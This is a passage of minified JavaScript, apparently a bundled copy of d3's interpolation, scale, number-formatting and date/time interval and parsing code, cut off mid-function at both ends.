K1=function e(t){var n=d7(t);function r(i,s){var o=n((i=hh(i)).r,(s=hh(s)).r),l=n(i.g,s.g),c=n(i.b,s.b),u=n4(i.opacity,s.opacity);return function(d){return i.r=o(d),i.g=l(d),i.b=c(d),i.opacity=u(d),i+""}}return r.gamma=e,r}(1);function f7(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(s){for(i=0;i<n;++i)r[i]=e[i]*(1-s)+t[i]*s;return r}}function m7(e){return ArrayBuffer.isView(e)&&!(e instanceof DataView)}function p7(e,t){var n=t?t.length:0,r=e?Math.min(n,e.length):0,i=new Array(r),s=new Array(n),o;for(o=0;o<r;++o)i[o]=js(e[o],t[o]);for(;o<n;++o)s[o]=t[o];return function(l){for(o=0;o<r;++o)s[o]=i[o](l);return s}}function h7(e,t){var n=new Date;return e=+e,t=+t,function(r){return n.setTime(e*(1-r)+t*r),n}}function Pu(e,t){return e=+e,t=+t,function(n){return e*(1-n)+t*n}}function x7(e,t){var n={},r={},i;(e===null||typeof e!="object")&&(e={}),(t===null||typeof t!="object")&&(t={});for(i in t)i in e?n[i]=js(e[i],t[i]):r[i]=t[i];return function(s){for(i in n)r[i]=n[i](s);return r}}var xh=/[-+]?(?:\d+\.?\d*|\.?\d+)(?:[eE][-+]?\d+)?/g,xm=new RegExp(xh.source,"g");function v7(e){return function(){return e}}function g7(e){return function(t){return e(t)+""}}function y7(e,t){var n=xh.lastIndex=xm.lastIndex=0,r,i,s,o=-1,l=[],c=[];for(e=e+"",t=t+"";(r=xh.exec(e))&&(i=xm.exec(t));)(s=i.index)>n&&(s=t.slice(n,s),l[o]?l[o]+=s:l[++o]=s),(r=r[0])===(i=i[0])?l[o]?l[o]+=i:l[++o]=i:(l[++o]=null,c.push({i:o,x:Pu(r,i)})),n=xm.lastIndex;return n<t.length&&(s=t.slice(n),l[o]?l[o]+=s:l[++o]=s),l.length<2?c[0]?g7(c[0].x):v7(t):(t=c.length,function(u){for(var d=0,f;d<t;++d)l[(f=c[d]).i]=f.x(u);return l.join("")})}function js(e,t){var n=typeof t,r;return t==null||n==="boolean"?l0(t):(n==="number"?Pu:n==="string"?(r=qo(t))?(t=r,K1):y7:t instanceof qo?K1:t instanceof Date?h7:m7(t)?f7:Array.isArray(t)?p7:typeof t.valueOf!="function"&&typeof t.toString!="function"||isNaN(t)?x7:Pu)(e,t)}function c0(e,t){return e=+e,t=+t,function(n){return Math.round(e*(1-n)+t*n)}}function b7(e,t){t===void 0&&(t=e,e=js);for(var n=0,r=t.length-1,i=t[0],s=new Array(r<0?0:r);n<r;)s[n]=e(i,i=t[++n]);return function(o){var l=Math.max(0,Math.min(r-1,Math.floor(o*=r)));return s[l](o-l)}}function w7(e){return function(){return e}}function Eu(e){return+e}var G1=[0,1];function Ft(e){return e}function vh(e,t){return(t-=e=+e)?function(n){return(n-e)/t}:w7(isNaN(t)?NaN:.5)}function j7(e,t){var n;return e>t&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function N7(e,t,n){var r=e[0],i=e[1],s=t[0],o=t[1];return i<r?(r=vh(i,r),s=n(o,s)):(r=vh(r,i),s=n(s,o)),function(l){return s(r(l))}}function k7(e,t,n){var r=Math.min(e.length,t.length)-1,i=new Array(r),s=new Array(r),o=-1;for(e[r]<e[0]&&(e=e.slice().reverse(),t=t.slice().reverse());++o<r;)i[o]=vh(e[o],e[o+1]),s[o]=n(t[o],t[o+1]);return function(l){var c=fl(e,l,1,r)-1;return s[c](i[c](l))}}function pl(e,t){return t.domain(e.domain()).range(e.range()).interpolate(e.interpolate()).clamp(e.clamp()).unknown(e.unknown())}function Xd(){var e=G1,t=G1,n=js,r,i,s,o=Ft,l,c,u;function d(){var p=Math.min(e.length,t.length);return o!==Ft&&(o=j7(e[0],e[p-1])),l=p>2?k7:N7,c=u=null,f}function f(p){return p==null||isNaN(p=+p)?s:(c||(c=l(e.map(r),t,n)))(r(o(p)))}return f.invert=function(p){return o(i((u||(u=l(t,e.map(r),Pu)))(p)))},f.domain=function(p){return arguments.length?(e=Array.from(p,Eu),d()):e.slice()},f.range=function(p){return arguments.length?(t=Array.from(p),d()):t.slice()},f.rangeRound=function(p){return t=Array.from(p),n=c0,d()},f.clamp=function(p){return arguments.length?(o=p?!0:Ft,d()):o!==Ft},f.interpolate=function(p){return arguments.length?(n=p,d()):n},f.unknown=function(p){return arguments.length?(s=p,f):s},function(p,h){return r=p,i=h,d()}}function u0(){return Xd()(Ft,Ft)}function z7(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function _u(e,t){if(!isFinite(e)||e===0)return null;var n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"),r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function ds(e){return e=_u(Math.abs(e)),e?e[1]:NaN}function S7(e,t){return function(n,r){for(var i=n.length,s=[],o=0,l=e[0],c=0;i>0&&l>0&&(c+l+1>r&&(l=Math.max(1,r-c)),s.push(n.substring(i-=l,i+l)),!((c+=l+1)>r));)l=e[o=(o+1)%e.length];return s.reverse().join(t)}}function C7(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var P7=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function Xo(e){if(!(t=P7.exec(e)))throw new Error("invalid format: "+e);var t;return new d0({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}Xo.prototype=d0.prototype;function d0(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}d0.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function E7(e){e:for(var t=e.length,n=1,r=-1,i;n<t;++n)switch(e[n]){case".":r=i=n;break;case"0":r===0&&(r=n),i=n;break;default:if(!+e[n])break e;r>0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var Au;function _7(e,t){var n=_u(e,t);if(!n)return Au=void 0,e.toPrecision(t);var r=n[0],i=n[1],s=i-(Au=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,o=r.length;return s===o?r:s>o?r+new Array(s-o+1).join("0"):s>0?r.slice(0,s)+"."+r.slice(s):"0."+new Array(1-s).join("0")+_u(e,Math.max(0,t+s-1))[0]}function Y1(e,t){var n=_u(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const q1={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:z7,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>Y1(e*100,t),r:Y1,s:_7,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function X1(e){return e}var Z1=Array.prototype.map,Q1=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function A7(e){var t=e.grouping===void 0||e.thousands===void 0?X1:S7(Z1.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",s=e.numerals===void 0?X1:C7(Z1.call(e.numerals,String)),o=e.percent===void 0?"%":e.percent+"",l=e.minus===void 0?"−":e.minus+"",c=e.nan===void 0?"NaN":e.nan+"";function u(f,p){f=Xo(f);var h=f.fill,x=f.align,g=f.sign,y=f.symbol,v=f.zero,b=f.width,w=f.comma,j=f.precision,N=f.trim,k=f.type;k==="n"?(w=!0,k="g"):q1[k]||(j===void 0&&(j=12),N=!0,k="g"),(v||h==="0"&&x==="=")&&(v=!0,h="0",x="=");var z=(p&&p.prefix!==void 0?p.prefix:"")+(y==="$"?n:y==="#"&&/[boxX]/.test(k)?"0"+k.toLowerCase():""),S=(y==="$"?r:/[%p]/.test(k)?o:"")+(p&&p.suffix!==void 0?p.suffix:""),O=q1[k],A=/[defgprs%]/.test(k);j=j===void 0?6:/[gprs]/.test(k)?Math.max(1,Math.min(21,j)):Math.max(0,Math.min(20,j));function T(P){var D=z,G=S,R,K,_;if(k==="c")G=O(P)+G,P="";else{P=+P;var M=P<0||1/P<0;if(P=isNaN(P)?c:O(Math.abs(P),j),N&&(P=E7(P)),M&&+P==0&&g!=="+"&&(M=!1),D=(M?g==="("?g:l:g==="-"||g==="("?"":g)+D,G=(k==="s"&&!isNaN(P)&&Au!==void 0?Q1[8+Au/3]:"")+G+(M&&g==="("?")":""),A){for(R=-1,K=P.length;++R<K;)if(_=P.charCodeAt(R),48>_||_>57){G=(_===46?i+P.slice(R+1):P.slice(R))+G,P=P.slice(0,R);break}}}w&&!v&&(P=t(P,1/0));var F=D.length+P.length+G.length,U=F<b?new Array(b-F+1).join(h):"";switch(w&&v&&(P=t(U+P,U.length?b-G.length:1/0),U=""),x){case"<":P=D+P+G+U;break;case"=":P=D+U+P+G;break;case"^":P=U.slice(0,F=U.length>>1)+D+P+G+U.slice(F);break;default:P=U+D+P+G;break}return s(P)}return T.toString=function(){return f+""},T}function d(f,p){var h=Math.max(-8,Math.min(8,Math.floor(ds(p)/3)))*3,x=Math.pow(10,-h),g=u((f=Xo(f),f.type="f",f),{suffix:Q1[8+h/3]});return function(y){return g(x*y)}}return{format:u,formatPrefix:d}}var Jl,f0,r4;O7({thousands:",",grouping:[3],currency:["$",""]});function O7(e){return Jl=A7(e),f0=Jl.format,r4=Jl.formatPrefix,Jl}function T7(e){return Math.max(0,-ds(Math.abs(e)))}function M7(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(ds(t)/3)))*3-ds(Math.abs(e)))}function L7(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,ds(t)-ds(e))+1}function i4(e,t,n,r){var i=mh(e,t,n),s;switch(r=Xo(r??",f"),r.type){case"s":{var o=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(s=M7(i,o))&&(r.precision=s),r4(r,o)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(s=L7(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=s-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(s=T7(i))&&(r.precision=s-(r.type==="%")*2);break}}return f0(r)}function Ai(e){var t=e.domain;return e.ticks=function(n){var r=t();return dh(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return i4(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,s=r.length-1,o=r[i],l=r[s],c,u,d=10;for(l<o&&(u=o,o=l,l=u,u=i,i=s,s=u);d-- >0;){if(u=fh(o,l,n),u===c)return r[i]=o,r[s]=l,t(r);if(u>0)o=Math.floor(o/u)*u,l=Math.ceil(l/u)*u;else if(u<0)o=Math.ceil(o*u)/u,l=Math.floor(l*u)/u;else break;c=u}return e},e}function a4(){var e=u0();return e.copy=function(){return pl(e,a4())},Mn.apply(e,arguments),Ai(e)}function s4(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,Eu),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return s4(e).unknown(t)},e=arguments.length?Array.from(e,Eu):[0,1],Ai(n)}function o4(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],s=e[r],o;return s<i&&(o=n,n=r,r=o,o=i,i=s,s=o),e[n]=t.floor(i),e[r]=t.ceil(s),e}function J1(e){return Math.log(e)}function e2(e){return Math.exp(e)}function I7(e){return-Math.log(-e)}function D7(e){return-Math.exp(-e)}function R7(e){return isFinite(e)?+("1e"+e):e<0?0:e}function $7(e){return e===10?R7:e===Math.E?Math.exp:t=>Math.pow(e,t)}function B7(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function t2(e){return(t,n)=>-e(-t,n)}function m0(e){const t=e(J1,e2),n=t.domain;let r=10,i,s;function o(){return i=B7(r),s=$7(r),n()[0]<0?(i=t2(i),s=t2(s),e(I7,D7)):e(J1,e2),t}return t.base=function(l){return arguments.length?(r=+l,o()):r},t.domain=function(l){return arguments.length?(n(l),o()):n()},t.ticks=l=>{const c=n();let u=c[0],d=c[c.length-1];const f=d<u;f&&([u,d]=[d,u]);let p=i(u),h=i(d),x,g;const y=l==null?10:+l;let v=[];if(!(r%1)&&h-p<y){if(p=Math.floor(p),h=Math.ceil(h),u>0){for(;p<=h;++p)for(x=1;x<r;++x)if(g=p<0?x/s(-p):x*s(p),!(g<u)){if(g>d)break;v.push(g)}}else for(;p<=h;++p)for(x=r-1;x>=1;--x)if(g=p>0?x/s(-p):x*s(p),!(g<u)){if(g>d)break;v.push(g)}v.length*2<y&&(v=dh(u,d,y))}else v=dh(p,h,Math.min(h-p,y)).map(s);return f?v.reverse():v},t.tickFormat=(l,c)=>{if(l==null&&(l=10),c==null&&(c=r===10?"s":","),typeof c!="function"&&(!(r%1)&&(c=Xo(c)).precision==null&&(c.trim=!0),c=f0(c)),l===1/0)return c;const u=Math.max(1,r*l/t.ticks().length);return d=>{let f=d/s(Math.round(i(d)));return f*r<r-.5&&(f*=r),f<=u?c(d):""}},t.nice=()=>n(o4(n(),{floor:l=>s(Math.floor(i(l))),ceil:l=>s(Math.ceil(i(l)))})),t}function l4(){const e=m0(Xd()).domain([1,10]);return e.copy=()=>pl(e,l4()).base(e.base()),Mn.apply(e,arguments),e}function n2(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function r2(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function p0(e){var t=1,n=e(n2(t),r2(t));return n.constant=function(r){return arguments.length?e(n2(t=+r),r2(t)):t},Ai(n)}function c4(){var e=p0(Xd());return e.copy=function(){return pl(e,c4()).constant(e.constant())},Mn.apply(e,arguments)}function i2(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function F7(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function W7(e){return e<0?-e*e:e*e}function h0(e){var t=e(Ft,Ft),n=1;function r(){return n===1?e(Ft,Ft):n===.5?e(F7,W7):e(i2(n),i2(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},Ai(t)}function x0(){var e=h0(Xd());return e.copy=function(){return pl(e,x0()).exponent(e.exponent())},Mn.apply(e,arguments),e}function U7(){return x0.apply(null,arguments).exponent(.5)}function a2(e){return Math.sign(e)*e*e}function V7(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function u4(){var e=u0(),t=[0,1],n=!1,r;function i(s){var o=V7(e(s));return isNaN(o)?r:n?Math.round(o):o}return i.invert=function(s){return e.invert(a2(s))},i.domain=function(s){return arguments.length?(e.domain(s),i):e.domain()},i.range=function(s){return arguments.length?(e.range((t=Array.from(s,Eu)).map(a2)),i):t.slice()},i.rangeRound=function(s){return i.range(s).round(!0)},i.round=function(s){return arguments.length?(n=!!s,i):n},i.clamp=function(s){return arguments.length?(e.clamp(s),i):e.clamp()},i.unknown=function(s){return arguments.length?(r=s,i):r},i.copy=function(){return u4(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},Mn.apply(i,arguments),Ai(i)}function d4(){var e=[],t=[],n=[],r;function i(){var o=0,l=Math.max(1,t.length);for(n=new Array(l-1);++o<l;)n[o-1]=Y8(e,o/l);return s}function s(o){return o==null||isNaN(o=+o)?r:t[fl(n,o)]}return s.invertExtent=function(o){var l=t.indexOf(o);return l<0?[NaN,NaN]:[l>0?n[l-1]:e[0],l<n.length?n[l]:e[e.length-1]]},s.domain=function(o){if(!arguments.length)return e.slice();e=[];for(let l of o)l!=null&&!isNaN(l=+l)&&e.push(l);return e.sort(wi),i()},s.range=function(o){return arguments.length?(t=Array.from(o),i()):t.slice()},s.unknown=function(o){return arguments.length?(r=o,s):r},s.quantiles=function(){return n.slice()},s.copy=function(){return d4().domain(e).range(t).unknown(r)},Mn.apply(s,arguments)}function f4(){var e=0,t=1,n=1,r=[.5],i=[0,1],s;function o(c){return c!=null&&c<=c?i[fl(r,c,0,n)]:s}function l(){var c=-1;for(r=new Array(n);++c<n;)r[c]=((c+1)*t-(c-n)*e)/(n+1);return o}return o.domain=function(c){return arguments.length?([e,t]=c,e=+e,t=+t,l()):[e,t]},o.range=function(c){return arguments.length?(n=(i=Array.from(c)).length-1,l()):i.slice()},o.invertExtent=function(c){var u=i.indexOf(c);return u<0?[NaN,NaN]:u<1?[e,r[0]]:u>=n?[r[n-1],t]:[r[u-1],r[u]]},o.unknown=function(c){return arguments.length&&(s=c),o},o.thresholds=function(){return r.slice()},o.copy=function(){return f4().domain([e,t]).range(i).unknown(s)},Mn.apply(Ai(o),arguments)}function m4(){var e=[.5],t=[0,1],n,r=1;function i(s){return s!=null&&s<=s?t[fl(e,s,0,r)]:n}return i.domain=function(s){return arguments.length?(e=Array.from(s),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(s){return arguments.length?(t=Array.from(s),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(s){var o=t.indexOf(s);return[e[o-1],e[o]]},i.unknown=function(s){return arguments.length?(n=s,i):n},i.copy=function(){return m4().domain(e).range(t).unknown(n)},Mn.apply(i,arguments)}const vm=new Date,gm=new Date;function gt(e,t,n,r){function i(s){return e(s=arguments.length===0?new Date:new Date(+s)),s}return i.floor=s=>(e(s=new Date(+s)),s),i.ceil=s=>(e(s=new Date(s-1)),t(s,1),e(s),s),i.round=s=>{const o=i(s),l=i.ceil(s);return s-o<l-s?o:l},i.offset=(s,o)=>(t(s=new Date(+s),o==null?1:Math.floor(o)),s),i.range=(s,o,l)=>{const c=[];if(s=i.ceil(s),l=l==null?1:Math.floor(l),!(s<o)||!(l>0))return c;let u;do c.push(u=new Date(+s)),t(s,l),e(s);while(u<s&&s<o);return c},i.filter=s=>gt(o=>{if(o>=o)for(;e(o),!s(o);)o.setTime(o-1)},(o,l)=>{if(o>=o)if(l<0)for(;++l<=0;)for(;t(o,-1),!s(o););else for(;--l>=0;)for(;t(o,1),!s(o););}),n&&(i.count=(s,o)=>(vm.setTime(+s),gm.setTime(+o),e(vm),e(gm),Math.floor(n(vm,gm))),i.every=s=>(s=Math.floor(s),!isFinite(s)||!(s>0)?null:s>1?i.filter(r?o=>r(o)%s===0:o=>i.count(0,o)%s===0):i)),i}const Ou=gt(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);Ou.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?gt(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):Ou);Ou.range;const Sr=1e3,Pn=Sr*60,Cr=Pn*60,Dr=Cr*24,v0=Dr*7,s2=Dr*30,ym=Dr*365,Xi=gt(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*Sr)},(e,t)=>(t-e)/Sr,e=>e.getUTCSeconds());Xi.range;const g0=gt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*Sr)},(e,t)=>{e.setTime(+e+t*Pn)},(e,t)=>(t-e)/Pn,e=>e.getMinutes());g0.range;const y0=gt(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*Pn)},(e,t)=>(t-e)/Pn,e=>e.getUTCMinutes());y0.range;const b0=gt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*Sr-e.getMinutes()*Pn)},(e,t)=>{e.setTime(+e+t*Cr)},(e,t)=>(t-e)/Cr,e=>e.getHours());b0.range;const w0=gt(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*Cr)},(e,t)=>(t-e)/Cr,e=>e.getUTCHours());w0.range;const hl=gt(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*Pn)/Dr,e=>e.getDate()-1);hl.range;const Zd=gt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Dr,e=>e.getUTCDate()-1);Zd.range;const p4=gt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Dr,e=>Math.floor(e/Dr));p4.range;function ba(e){return gt(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*Pn)/v0)}const Qd=ba(0),Tu=ba(1),H7=ba(2),K7=ba(3),fs=ba(4),G7=ba(5),Y7=ba(6);Qd.range;Tu.range;H7.range;K7.range;fs.range;G7.range;Y7.range;function wa(e){return gt(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/v0)}const Jd=wa(0),Mu=wa(1),q7=wa(2),X7=wa(3),ms=wa(4),Z7=wa(5),Q7=wa(6);Jd.range;Mu.range;q7.range;X7.range;ms.range;Z7.range;Q7.range;const j0=gt(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());j0.range;const N0=gt(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());N0.range;const Rr=gt(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());Rr.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:gt(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});Rr.range;const $r=gt(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());$r.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:gt(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});$r.range;function h4(e,t,n,r,i,s){const o=[[Xi,1,Sr],[Xi,5,5*Sr],[Xi,15,15*Sr],[Xi,30,30*Sr],[s,1,Pn],[s,5,5*Pn],[s,15,15*Pn],[s,30,30*Pn],[i,1,Cr],[i,3,3*Cr],[i,6,6*Cr],[i,12,12*Cr],[r,1,Dr],[r,2,2*Dr],[n,1,v0],[t,1,s2],[t,3,3*s2],[e,1,ym]];function l(u,d,f){const p=d<u;p&&([u,d]=[d,u]);const h=f&&typeof f.range=="function"?f:c(u,d,f),x=h?h.range(u,+d+1):[];return p?x.reverse():x}function c(u,d,f){const p=Math.abs(d-u)/f,h=i0(([,,y])=>y).right(o,p);if(h===o.length)return e.every(mh(u/ym,d/ym,f));if(h===0)return Ou.every(Math.max(mh(u,d,f),1));const[x,g]=o[p/o[h-1][2]<o[h][2]/p?h-1:h];return x.every(g)}return[l,c]}const[J7,eL]=h4($r,N0,Jd,p4,w0,y0),[tL,nL]=h4(Rr,j0,Qd,hl,b0,g0);function bm(e){if(0<=e.y&&e.y<100){var t=new Date(-1,e.m,e.d,e.H,e.M,e.S,e.L);return t.setFullYear(e.y),t}return new Date(e.y,e.m,e.d,e.H,e.M,e.S,e.L)}function wm(e){if(0<=e.y&&e.y<100){var t=new Date(Date.UTC(-1,e.m,e.d,e.H,e.M,e.S,e.L));return t.setUTCFullYear(e.y),t}return new Date(Date.UTC(e.y,e.m,e.d,e.H,e.M,e.S,e.L))}function Ks(e,t,n){return{y:e,m:t,d:n,H:0,M:0,S:0,L:0}}function rL(e){var t=e.dateTime,n=e.date,r=e.time,i=e.periods,s=e.days,o=e.shortDays,l=e.months,c=e.shortMonths,u=Gs(i),d=Ys(i),f=Gs(s),p=Ys(s),h=Gs(o),x=Ys(o),g=Gs(l),y=Ys(l),v=Gs(c),b=Ys(c),w={a:_,A:M,b:F,B:U,c:null,d:f2,e:f2,f:SL,g:IL,G:RL,H:NL,I:kL,j:zL,L:x4,m:CL,M:PL,p:V,q:Z,Q:h2,s:x2,S:EL,u:_L,U:AL,V:OL,w:TL,W:ML,x:null,X:null,y:LL,Y:DL,Z:$L,"%":p2},j={a:ae,A:ue,b:be,B:ye,c:null,d:m2,e:m2,f:UL,g:JL,G:tI,H:BL,I:FL,j:WL,L:g4,m:VL,M:HL,p:q,q:te,Q:h2,s:x2,S:KL,u:GL,U:YL,V:qL,w:XL,W:ZL,x:null,X:null,y:QL,Y:eI,Z:nI,"%":p2},N={a:A,A:T,b:P,B:D,c:G,d:u2,e:u2,f:yL,g:c2,G:l2,H:d2,I:d2,j:hL,L:gL,m:pL,M:xL,p:O,q:mL,Q:wL,s:jL,S:vL,u:lL,U:cL,V:uL,w:oL,W:dL,x:R,X:K,y:c2,Y:l2,Z:fL,"%":bL};w.x=k(n,w),w.X=k(r,w),w.c=k(t,w),j.x=k(n,j),j.X=k(r,j),j.c=k(t,j);function k(C,Y){return function(ne){var B=[],le=-1,we=0,Ne=C.length,Ae,$,fe;for(ne instanceof Date||(ne=new Date(+ne));++le<Ne;)C.charCodeAt(le)===37&&(B.push(C.slice(we,le)),($=o2[Ae=C.charAt(++le)])!=null?Ae=C.charAt(++le):$=Ae==="e"?" ":"0",(fe=Y[Ae])&&(Ae=fe(ne,$)),B.push(Ae),we=le+1);return B.push(C.slice(we,le)),B.join("")}}function z(C,Y){return function(ne){var B=Ks(1900,void 0,1),le=S(B,C,ne+="",0),we,Ne;if(le!=ne.length)return null;if("Q"in B)return new Date(B.Q);if("s"in B)return new Date(B.s*1e3+("L"in B?B.L:0));if(Y&&!("Z"in B)&&(B.Z=0),"p"in B&&(B.H=B.H%12+B.p*12),B.m===void 0&&(B.m="q"in B?B.q:0),"V"in B){if(B.V<1||B.V>53)return null;"w"in B||(B.w=1),"Z"in B?(we=wm(Ks(B.y,0,1)),Ne=we.getUTCDay(),we=Ne>4||Ne===0?Mu.ceil(we):Mu(we),we=Zd.offset(we,(B.V-1)*7),B.y=we.getUTCFullYear(),B.m=we.getUTCMonth(),B.d=we.getUTCDate()+(B.w+6)%7):(we=bm(Ks(B.y,0,1)),Ne=we.getDay(),we=Ne>4||Ne===0?Tu.ceil(we):Tu(we),we=hl.offset(we,(B.V-1)*7),B.y=we.getFullYear(),B.m=we.getMonth(),B.d=we.getDate()+(B.w+6)%7)}else("W"in B||"U"in B)&&("w"in B||(B.w="u"in B?B.u%7:"W"in B?1:0),Ne="Z"in B?wm(Ks(B.y,0,1)).getUTCDay():bm(Ks(B.y,0,1)).getDay(),B.m=0,B.d="W"in B?(B.w+6)%7+B.W*7-(Ne+5)%7:B.w+B.U*7-(Ne+6)%7);return"Z"in B?(B.H+=B.Z/100|0,B.M+=B.Z%100,wm(B)):bm(B)}}function S(C,Y,ne,B){for(var le=0,we=Y.length,Ne=ne.length,Ae,$;le<we;){if(B>=Ne)return-1;if(Ae=Y.charCodeAt(le++),Ae===37){if(Ae=Y.charAt(le++),$=N[Ae in o2?Y.charAt(le++):Ae],!$||(B=$(C,ne,B))<0)return-1}else if(Ae!=ne.charCodeAt(B++))return-1}return B}function O(C,Y,ne){var B=u.exec(Y.slice(ne));return B?(C.p=d.get(B[0].toLowerCase()),ne+B[0].length):-1}function A(C,Y,ne){var B=h.exec(Y.slice(ne));return B?(C.w=x.get(B[0].toLowerCase()),ne+B[0].length):-1}function T(C,Y,ne){var B=f.exec(Y.slice(ne));return B?(C.w=p.get(B[0].toLowerCase()),ne+B[0].length):-1}function P(C,Y,ne){var B=v.exec(Y.slice(ne));return B?(C.m=b.get(B[0].toLowerCase()),ne+B[0].length):-1}function D(C,Y,ne){var B=g.exec(Y.slice(ne));return B?(C.m=y.get(B[0].toLowerCase()),ne+B[0].length):-1}function G(C,Y,ne){return S(C,t,Y,ne)}function R(C,Y,ne){return S(C,n,Y,ne)}function K(C,Y,ne){return S(C,r,Y,ne)}function _(C){return o[C.getDay()]}function M(C){return s[C.getDay()]}function F(C){return c[C.getMonth()]}function U(C){return l[C.getMonth()]}function V(C){return i[+(C.getHours()>=12)]}function Z(C){return 1+~~(C.getMonth()/3)}function ae(C){return 